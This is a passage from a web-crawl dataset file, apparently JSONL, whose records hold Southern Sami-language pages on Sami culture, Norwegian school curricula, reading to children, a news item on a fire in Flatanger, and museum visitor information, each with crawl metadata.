[2]","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:2:5cf7a096-53f4-48c8-a889-447f6e95c80d\/resource:1:157980","date":"2023-09-30T10:05:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510671.0\/warc\/CC-MAIN-20230930082033-20230930112033-00625.warc.gz","language":"sma","language_score":0.9999929667,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999929666519165}","num_words":361,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1999\nFormaate\nLohkehtæjjabïhkedimmie\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n29\nAamhtesh\nAamhtese-tjaalege mij barkijidie Nöörjen maanagïertine sjeahta mij saepmie ålkoelisnie årroeminie. Daaroen tekste. Tjaalegisnie maahta ovmessie aamhtesi bïjre lohkedh:Saemien saevege, vaarjoeh, gïele, vætnoe, jieleme, saemien åålmegebiejjie, jïh læstoe aaj gååvnese juktie maahta vuejnedh magkeres soptsesh saemien heamturi bïjre daaroen gïelesne gååvnesieh.\nGærjan minngiegietjesne gååvnesieh: Kaarhte mij saemien gïeledåehkide vuesehte, saemien saevegem (maahta dam guvviedidh) saemien laavloeh, saevegebiejjieh, saemien åålmegen laavloe daaroen gïelesne jïh guvvieh duedtijste mah maanah jïjtje maehtieh darjodh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/girji_tema-om-samene","date":"2023-09-25T21:02:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510085.26\/warc\/CC-MAIN-20230925183615-20230925213615-00453.warc.gz","language":"sma","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000046491622925}","num_words":82,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh åenehks-filmese «Stoerre vaerie» (2015) jïh\/jallh filmese «Saemien vïrre» (2016) mejtie Amanda Kernell dorjeme.\nVuartesjh åenehks-filmem «Stoerre vaerie» (2015) jïh\/jallh filmem «Saemien vïrre» (2016) mejtie Amanda Kernell dorjeme. Vaestedh gyhtjelasside.\nMan åvteste åejvie-almetje slïektem jïh saemien jieledem leehpi goh noere lij?\nGuktie åejvie-almetjen jïjtje-guvvie jïh identiteete jorkesovvin åvtelen åarjese juhti jïh mænngan jåhteme?\nGuktie åejvie-almetjasse bååstede båetedh åabpeben juvlemasse goh båeries nyjsenæjjine sjïdteme?\nGuktie slïektese goh åejvie-almetje dejtie laehpieji jïh mænngan goh bååstede bööti?\nGuktie gåaradi goh åejvie-almetjen elkie jïh aahkove voestes aejkien saemien slïektem gaavnesjigan?\nAlmetjen seamma identiteete abpe jieliedisnie jallh maahta tïjjen mietie jorkesidh? Jis identiteete maahta jorkesidh, guktie jïh man åvteste?\nMaam datne vïenhth filmen\/filmi galhkuven mænngan heannede?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:c95cf471-a329-4a24-89d9-cbe566241287","date":"2023-09-22T07:28:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00536.warc.gz","language":"sma","language_score":0.9999789,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999788999557495}","num_words":107,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ööhpehtimmieveeljeme lea vihkeles faage juktie learoehkidie ryöjrehtidh hijven ööhpehtimmie- jïh barkoeveeljemh darjodh. Faage edtja viehkiehtidh guktie learohkh jearsoe identiteetem evtiedieh, jïh guktie maehtieh veeljemh vaeltedh jïjtsh ïedtji jïh nuepiej mietie. Barkoen tjïrrh faagine learohkh edtjieh daajroem vejtiestidh nuepiej jïh krïevenassi bïjre ööhpehtimmiesysteemesne jïh barkoejieliedisnie. Faage edtja viehkiehtidh guktie learohkh maahtoem evtiedieh sertiestimmieh gïetedidh, viehkiehtidh guktie learohkh leah meatan jïh goerkesem sjugniedidh ektiedimmide ööhpehtimmien jïh barkoenuepiej gaskem.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/utv01-03\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-12-11T18:30:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679516047.98\/warc\/CC-MAIN-20231211174901-20231211204901-00776.warc.gz","language":"sma","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000097751617432}","num_words":66,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne lïerh\n- soptsestæjjavuekieh teeksten, tjoejen jïh guvvien sisnjelen\n- medijabaajnehtimmien, medijahistovrijen jïh journalistihken bïjre\n- dïjrem, vuekiem jïh layoutem hammoedidh\n- hammoem, klaeriem, tjoevkem jïh tjoejem vierhkievierhtine nuhtjedh\n- dov digitaale maahtoem guhkiebasse evtiedidh\n- teorijefaagh\nDatne byörh\n- kreatijve jïh tjetskehke årrodh\n- ïedtjem utnedh gaskesadtemen jïh medijaåtnoen bïjre lïeredh\n- ïedtjem utnedh bievnedh guvviej, filmen, tjoejen jïh baakoej tjïrrh\n- ïedtjem utnedh bïevneseteknologijeste jïh digitaale medijijstie\nDatne åadtjoeh\n- studijemaahtoem jïh maahtah jollebe ööhpehtimmiem vaeltedh\nJis jollebe ööhpehtimmiem vaaltah, maahtah gaskem jeatjah sjïdtedh\n- journaliste, teekstetjaelije jallh sisvegeproduseente\n- webhammoedæjja, interaksjovnehammoedæjja jallh spïelehammoedæjja\n- tjoejeteknihkere, tjoeje- jallh filmeprodusente\n- gaskesadtemeraeriestæjja jallh medija- jïh seabradahkekonsulente\nMaahtah aaj jïjtjemdh jeatjah barkojde ööhpehtidh – sïejhme studijemaahtojne maahtah dejstie jeanatjommes studijidie jïlleskuvline jïh universiteetine ohtsedh.\nBarkoesijjieh maehtieh årrodh\n- plaerieh jallh askeplaerieh\n- reklaamesïelth jallh gaskesadtemesïelth\n- produksjovnesïelth jallh medijasïelth\n- byögkeles sïelth\nTsaekemekrïevenassh jollebe ööhpehtæmman\nSïejhme studijemaahtojne maahta dejtie jeanatjommes studijidie ohtsedh jïlleskuvline jïh universiteetine. Men såemies studijh sjïere tsaekemekrïevenassh utnieh:\n- Real-faagekrïevenassh: Såemies studijh krievieh dov leah vihties realfaagh. Dah studijh maehtieh årrodh insjenööre-, realfaage- jïh medisijnen studijh. Datne tsaekemekrïevenasside jïlleskuvle- jïh universiteetestudijidie gaavnh daesnie samordnaopptak.no. Medijah jïh kommunikasjovne maahta geerve årrodh sijjiem åadtjodh tæjmoesoejkesjisnie gaajhkh realfaagh veeljedh mejtie daarpesjh. Gïehtjh dov skuvline mejtie dah maehtieh datnem dejtie realfaagide faalehtidh mejtie sïjhth vaeltedh.\nValg av fag i utdanningsprogram for medier og kommunikasjon\n- Tre programfag kan du velge selv, ett på Vg2 og to på Vg3.\n- De valgfrie programfagene kan være videre spesialisering innen medier og kommunikasjon og\/eller fag fra et annet programområde i studieforberedende utdanningsprogram (for eksempel realfag eller fremmedspråk).\n- Det er opp til skolen din hvilke programfag som tilbys.\n- Hadde du ikke fremmedspråk på ungdomstrinnet? Da må du ta fremmedspråk som fellesfag på Vg3 istedenfor ett av de to valgfrie programfagene på Vg3.\n- Har du spesielle framtidsdrømmer? Da bør du sjekke opptakskravene til studiene, før du velger fag.\n- Programfag i fremmedspråk og realfag gir tilleggspoeng ved opptak til høyere utdanning.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/medijah-jih-kommunikasjovne\/program\/v.me","date":"2023-12-04T02:54:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100523.4\/warc\/CC-MAIN-20231204020432-20231204050432-00044.warc.gz","language":"sma","language_score":0.9998805523,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998805522918701}","num_words":301,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem seabradahkefaagesne vuesiehtieh jïh evtiedieh 1. jïh 2. daltesisnie gosse goerehtieh jïh onterdieh seabradahkefaageles teemaj bijjeli, jïh ussjededtieh guktie daah teemah maehtieh gårrestahkesne årrodh. Dah maahtoem vuesiehtieh jïh evtiedieh gosse vielie daajroem ohtsedieh jïh dååjrehtieh sijjieh maehtieh daajroem veedtjedh joekehtslaakan. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse dååjrehtieh jïh jïjtjemse jïh mubpieh vuejnieh goh bielie aktede gellielaaketje ektievoeteste, jïh gosse dååjrehtieh mij sæjhta jiehtedh meatan årrodh jïh baajnehtidh. Learohkh digitaale dïrregh nuhtjieh juktie maahtoem jïh aktem aelkije vuarjasjimmiefaamoem vuesiehtidh jïh evtiedieh faagesne gosse naakenh dejstie nuepijste jïh haestiemijstie digitaale ektiedahkosne vuejnieh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose sjïehteladtedh seabradahkefaagesne gosse baaja learohkh goerehtidh, soptsestalledh jïh onterdidh. Lohkehtæjja jïh learohke edtja learohki evtiedimmien bïjre faagesne soptsestalledh. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh haalvoeh, jïh maam buerebelaakan haalvoeh goh aarebi. Lohkehtæjja edtja bïhkedidh dan guhkiebasse lïeremen bïjre jïh lierehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedimmiem nuhtjedh sijjen maahtoem seabradahkefaagesne evtiedidh tjetskehkevoeten jïh daajroelissiehtimmien tjïrrh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/saf02-04\/kompetansemaal-og-vurdering\/kv149?lang=sma","date":"2023-12-08T15:11:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100762.64\/warc\/CC-MAIN-20231208144732-20231208174732-00700.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":177,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Njaalmeldh tjiehpiesvoeth KRJE-faagesne lea maehtedh goltelidh, soptsestidh, åehpiedehtedh jïh soptsestalledh faageles teemaj bïjre, maehtedh jïjtse vuajnoej åvteste argumenteeredh jïh ovmessie vuajnoeh vaeltedh. Njaalmeldh tjiehpiesvoeth aaj sæjhta faagesjïere baakoetjïerth nuhtjedh juktie goerehtidh, digkiedidh jïh ussjedadtedh faagen daajroesuerkiej bijjeli. Njaalmeldh tjiehpiesvoeth lea aaj maehtedh ovmessie mïelh buektedh jïh dej åvteste argumenteeredh viehkine filosofeles soptsestimmiehammojste jïh filosofeles ektiedahkojste jïh ussjedadtemistie. Evtiedimmie njaalmeldh tjiehpiesvoetijste lea maehtedh aelkedh akten teeman bïjre soptsestidh guktie maahta faageles gyhtjelassh åehpiedehtedh jïh digkiedidh. Daate sæjhta ånnetji ånnetji faagendïejvesh nuhtjedh juktie jïjtse goerkesem buektedh jïh vuarjasjidh. Njaalmeldh tjiehpiesvoeth sæjhta aaj ånnetji ånnetji maehtedh mubpide goltelidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/rle02-03\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-12-11T19:37:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679516047.98\/warc\/CC-MAIN-20231211174901-20231211204901-00032.warc.gz","language":"sma","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000094175338745}","num_words":95,"character_repetition_ratio":0.121,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Boengeskuvmie åarjelsaepmesne\nHanne-Lena Wilks\nGærjesne Boengeskuvmie åarjelsaepmesne åadtjoeh åenehks histovrijes goerkelimmie aerpievuekien åarjelsaemien boengeskuvmie bïjre, jïh guktie maahtah boengeskuvmie gåarodh; maallh darjodh jïh gåarodh, sïlleste sïllese.\nGærjam learoehkidie jåarhkeskuvlesne sjeahta, mohte aaj gaajhkesidie gieh sijhtieh lïeredh guktie åarjelsaemien boengeskuvmie maahtah gåarodh.\n-------------\nI boka Boengeskuvmie åarjelsaepmesne får man et kort historisk innblikk om tradisjonell sørsamisk barmklede, og hvordan sy en barmklede; materialevalg, mønsterlaging og sying steg-for-steg.\nBoka er skrevet for elever på videregåendetrinn, men passer også for andre som er interessert i å lære å sy boengeskuvmie, en sørsamisk barmklede.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.gavpi.org\/duodji\/1931-boengeskuvmie-aarjelsaepmesne.html","date":"2023-12-07T10:15:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100651.34\/warc\/CC-MAIN-20231207090036-20231207120036-00828.warc.gz","language":"sma","language_score":0.9992485046,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9992485046386719}","num_words":89,"character_repetition_ratio":0.128,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stoerre dålle Flatangersne goevten asken tsihkeji. Desnie 66 gåetieh bualajin jih stoerre dajve bueleli. Daelie Lientsie veantha, praedtieh destie straejmie -nedtesne daam stoerre dållem tsihkejehti.\nAkte jih bielie våhkoen, daan dålle ov-læhkoen åvtelen, dellie dah NTE- barkijh desnie lin jih naan fiejlieh dåvvoejin. Dellie aktem isalatorem låtnoejin, NTE bievnede.\nLientsie bievnede, edtjieh daelie dah montøøre barkijde goerehtalledh. Govledh magkeres barkoem desnie dorjeme. Mannasinie praedtieh straejmie-nedtesne sjidti.\nNTE jeahta, dihte straejmie-nedte dennie dajvesne hijvene leah. Daan saernien bijre Trønderavisa tjaaleme.\n- Lohkh vielie:","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.nrk.no\/sapmi\/stoerre-dalle-flatangersne-1.11617948","date":"2023-12-05T18:30:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100555.27\/warc\/CC-MAIN-20231205172745-20231205202745-00494.warc.gz","language":"sma","language_score":0.9999896288,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999896287918091}","num_words":80,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aktese\nTjaahkesjh guktie dåtnoeh tråjjadidien, eeremes sinsitnine, guktie maehteden dovne gærjam jïh sinsitniem vuejnedh.\nJïjtje baakoeh\nSoptsesth jïjtjedh baakoejgujmie, jïjtjisnie gïelesne jïh nuhtjh guvvide goh viehkie.\nGieltege\nBaajh maanan ïedtjem jïh drïektem vuesiehtidh guktie tjoeverh gærjam lohkedh. Bïejh jïjtjedh baakojde dejtie aatide mejtie dov maana åtna gieltegs!\nGoeredimmieh jïh tjoejh\nHeerehth dov maanan goeredimmieh jïh tjoejh. Gosse maana geervebe sjædta, maahta aaj maanan jïjtse baakojde heeredh. Goltelh eensi-laakan jïh baajh maanam ussjedidh goske sæjhta vaestiedidh.\nGuktie soptsesth\nStååkedh dov gïeline jïh ussjedh guktie maahtah lohkemisnie govledh. Heeredh dam mij guvvesne, govlh goh juvre jallh soptsesth amma haerhpies gïeline. Vaallah eevre reegkes gïeline? Ovmessie almetjh aktene gærjesne maehtieh ovmessie gïeline soptsestidh.\nVuesehth stoerre ïedtjem\nVuesehth dov maanese datne åtnah sov vaestiedasse lea gieltegs jïh vuesehth dam, datne sïjhth vielie maaneste govledh. Naemhtie maanam skreejrehth.\nTadterosth amma!\nJis tadterosth lohkemisnie, maana tsåatskeles-voetem dutnjien vadta. Soptsesth jïjtjedh baakoejgujmie, jïh årroeh eevre goh dorjehtæjja gåessie gærjam lohkh. Vuertieh aaj ånnetji eannan maanam ierelh.\nVuesehth jïh tjuevtjehth\nTjuevtjehth daamtaj gærjaj guvvide. Naemthie datne maanam viehkehth sveehkedh dam mij vihkeles soptsestimmesne. Naemhtie aaj aelhkebe sjædta soptsesem guarkedh.\nBïevnesh gærjaj, jielijeguvviej jïh podcasti bïjre\nDaesnie maahtah buerie bïevnesh åadtjodh gærjaj bïjre mejtie maahtah dov maanine lohkedh, men aaj bïevnesh åenehks jielijeguvviej bïjre jïh svaalhtesem podcastese mij maahta datnem viehkiehtidh gåessie sïjhth dov maanan gïelem nænnoestidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/att-ta-hand-om-barn\/lasa-med-ditt-barn---andra-sprak\/","date":"2023-12-02T12:49:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100399.81\/warc\/CC-MAIN-20231202105028-20231202135028-00760.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":218,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nBïhkedimmie golme boelkhh. Voestes boelhkesne lohkeme-, tjaeleme- jïh soptsestimmie-strategiji bïjre.\nMupbie boelhkesne vuesiehtimmieh jïh raerieh guktie lohkemegærjam jïh barkoegærjam nåhtadidh.\nMinngemes boelhkesne lissiepaehperh, vielie laavenjassh jïh ovmessie sjeemah guktie learohki barkoem vuarjasjidh.\nBetaling og personvern\nBetalingsinformasjonen din blir behandlet sikkert. Vi lagrer ikke kredittkortinformasjon og har heller ikke tilgang til kredittkortinformasjonen din.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.solumbokvennen.no\/collections\/samisk-undervisningslitteratur\/products\/gieline-aahpenidh-7-lohkehtaejjan-bihkedimmie-aarjelsaemien-voestesgieline","date":"2023-12-01T10:50:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100286.10\/warc\/CC-MAIN-20231201084429-20231201114429-00780.warc.gz","language":"sma","language_score":0.9997996688,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9997996687889099}","num_words":53,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Karrijeeremaahtoem evtiedidh lea jïjtjemse jïh jïjtse lïeremem guarkedh jïh evtiedidh, jïh jearsoe identiteetem evtiedidh. Lea aaj ööhpehtimmienuepieh jïh barkoejieledem goerehtidh. Dan sisnie tjiehpiesvoeth tjöönghkedh, analyseeredh jïh bïevnesh åtnose vaeltedh dovne ööhpehtimmien, barkoen jïh jïjtse bïjre. Tjiehpiesvoeth sertiestimmieboelhkh jieliedisnie gïetedidh, jïh maehtedh veeljemh vaeltedh jïh konsekvensh veeljemistie guarkedh, edtjieh aaj bieline årrodh faageste. Learohkh tjuerieh karrijeerelïeremem dååjredh goh ellies jïh sjiehteles.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/utv01-03\/om-faget\/kjerneelementer?lang=sma","date":"2023-12-08T15:17:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100762.64\/warc\/CC-MAIN-20231208144732-20231208174732-00404.warc.gz","language":"sma","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000098943710327}","num_words":60,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.233,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuesiehtimmide jaksa viehkine lutnjesistie. Tjaangemesijjie guesside jårremestovline, rullatovrine jallh maanavåågnine lea gåetien åarjelraedtesne (Nidarosdomen vööste). Jis okse steegkeldh gaskesadth resepsjovnem. Gåetien jillieraedtie (restauranten vøøste Bifrons) maahta aaj åtnasovvedh. Skarremetsåahka mijjen barkijh gohtjede mah aavojne sijhtieh vuesiehtidh guktie lutnjese 1930-låhkoste åtnasåvva.\n- Vuesiehtimmieteeksth paehpierisnie gååvnesieh.\n- Aelhkie stovlh gååvnesieh gosse dan bïjre gihtjh jïh daerpiesvoeten mietie.\n- Maahta privaate vuesiehtimmieh åvtelhbodti dongkedh\n- HC-onnegåetie voestes etasjesne gååvnese\nGaskesadth bievnemegoevtesem jis nuepie gååvnese sjïehteladteme vuesiehtimmiem åadtjodh.\nBïjleparkeereme: Museumen åejviegåetie Nidarosen dåa lea Midtbyesne lïhkemes gaatoeparkeereme Bispegata jallh Munkegata. Lïhkemes parkeeremegåetie lea Torget P-hus mij lea ektiedimmesne åesiestimmiejarngese Trondheim Torg, man sïjse vuaja Tinghusplasseste.\nBussefeelijh: lïhkemes tjöödtjestimmiesijjie lea Nidarosdomen. Bussetïjjh: vuartesjh AtB:en gåetiesæjroeh","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/trondheimkunstmuseum.no\/info-pa-sorsamisk","date":"2023-11-29T12:29:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100081.47\/warc\/CC-MAIN-20231129105306-20231129135306-00460.warc.gz","language":"sma","language_score":0.9999607801,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999607801437378}","num_words":106,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vuesiehtieh jïh evtiedieh musihkesne 1. jïh 2. daltesisnie gosse meatan jïh darjoeh laavlomestååkedimmieh, daanhtsoeh jïh instrumenth tjoejehtieh, musihkem darjoeh, eksperimenteerieh jïh buerkiestieh musihkales vuekieh, jïh gosse goltelieh, jïjtjemse musihkedååjresi sïjse jielieh jïh musihkedååjresh buektieh.\nLohkehtæjja edtja sjïehteladtedh guktie learohke lea meatan jïh lïeremelastose skreejrehtidh viehkine baajedh learoehkidie golteldidh, stååkedidh, onterdidh jïh sijjen daajh nuhtjedh mah learohki faagegoerkesem evtiedieh, jïh dejtie nuepiem vedtieh maam joem buektedh jïh haalvemedomtesem vedtieh. Lohkehtæjja jïh learohkh edtjieh soptsestalledh learohki evtiedimmien bïjre musihkesne. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh jïh buektiehtieh, jïh maam buerebelaakan buektiehtieh goh aarebi. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sov maahtoem faagesne evtiedidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/kompetansemaal-og-vurdering\/kv197?lang=sma","date":"2023-12-06T03:48:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100583.13\/warc\/CC-MAIN-20231206031946-20231206061946-00636.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":128,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daajehtselïereme – Bïhkedimmie strukturelle daajehtselïeremen bïjre maanide jïh learoehkidie\nBïhkedimmesne tjïelkeste guktie maahta systeemen mietie barkedh daajehtselïereminie, dovne maanagïertesne jïh skuvlesne.\nLes omtale av Begrepslæring på norsk.\nLoga Doabaoahppama birra davvisámegillii.\nLågå Buojkuldakoahppama birra julevsábmáj.\nVoestes bielie daehtie bïhkedimmeste teorijen våaroeminie båata gïelen jïh daajehtsi bïjre. Dan mænngan mubpie bielie åehpiedehtiemistie båata Gïelevierhkiesijjesne. Juktie effektem lïeremistie mööledh, lea daerpies bïevnesh utnedh dan bïjre maam learohke meehti åvtelen Gïelevierhkiesijjie eelki, jïh maam learohke maahta mænngan dejnie galhkeme. Gåalmede bielesne dan åvteste goerehtallemegoere jïh bïhkedimmie dïsse.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.statped.no\/laringsressurser\/sprak-og-tale\/samisk-spraktale\/daajehtseliereme--bihkedimmie-strukturelle-daajehtselieremen-bijre-maanide-jih-learoehkidie\/?_t_id=HzHwXnyFrPEHge68QAxlog%3D%3D&_t_uuid=oTovB9k4RTGPqGhmEY06Jg&_t_q=wassp+for+foreldre&_t_tags=language%3Ano%2Csiteid%3Aef3d3fed-6956-4012-9794-e10aef7f5655%2Candquerymatch&_t_hit.id=Statped_ContentTypes_Pages_LaringsressursPage\/_fee8e148-7d0e-4c72-90f6-61d82254194c_no&_t_hit.pos=50","date":"2024-02-21T19:03:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473524.88\/warc\/CC-MAIN-20240221170215-20240221200215-00369.warc.gz","language":"sma","language_score":0.9999217987,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999217987060547}","num_words":83,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vöölemes guvvie lea \/ Fra Trøndelag Folkemuseumistie Sverresborg 1935. G.b.\/F.v.: Aina Margrete Mortensson Vollan, ovnohkens\/ukjent, Anders Kreutz Mortensson, Matheus Mortensson, Richard Mortensson. Almetjh vuesiehtidh sïejhme sjïdti Europesne jïh Amerijhkesne 1800-låhkoen. Almetjedåehkieh mejtie utnin goh eksotihkeles, provhkin vuesiehtidh gaskem jeatjah sirkusinie jïh kreekegaertieninie. 1822 raejeste jïh 1930-låhkoen raajan jienebh fuelhkieh Røros-saemien dajveste dagkerh vuasahtalleminie. Daate lij slæjhtoes feelemh mah meehtin dovne almetjidie jïh bovtside tjarke sæjloedehtedh. Seamma tïjjen saemieh nuepiem åadtjoejin olkese fealadidh, jïh dan åvteste ij lij ajve akte nåake dååjrese gaajhkesidie mah vöölkin.Vuasahtallemh almetjigujmie aaj sïejhme sjïdtin ålkoemuseuminie Nöörjesne, men dellie aajkoe lij båantan, göölijen jallh saemien kultuvrehistovrijen bïjre soptsestidh. 1900-låhkoe doekoe museumepolitihkeles reaktoe sjïdti dam saemien seamma aarvoem vedtedh goh nöörjen. \/ Utstilling av mennesker ble vanlig i Europa og Amerika på 1800-tallet. Folkegrupper som ble oppfattet som eksotiske, ble vist fram bl.a. på sirkus og i dyrehager. Fra 1822 til ut på 1930-tallet deltok flere familier 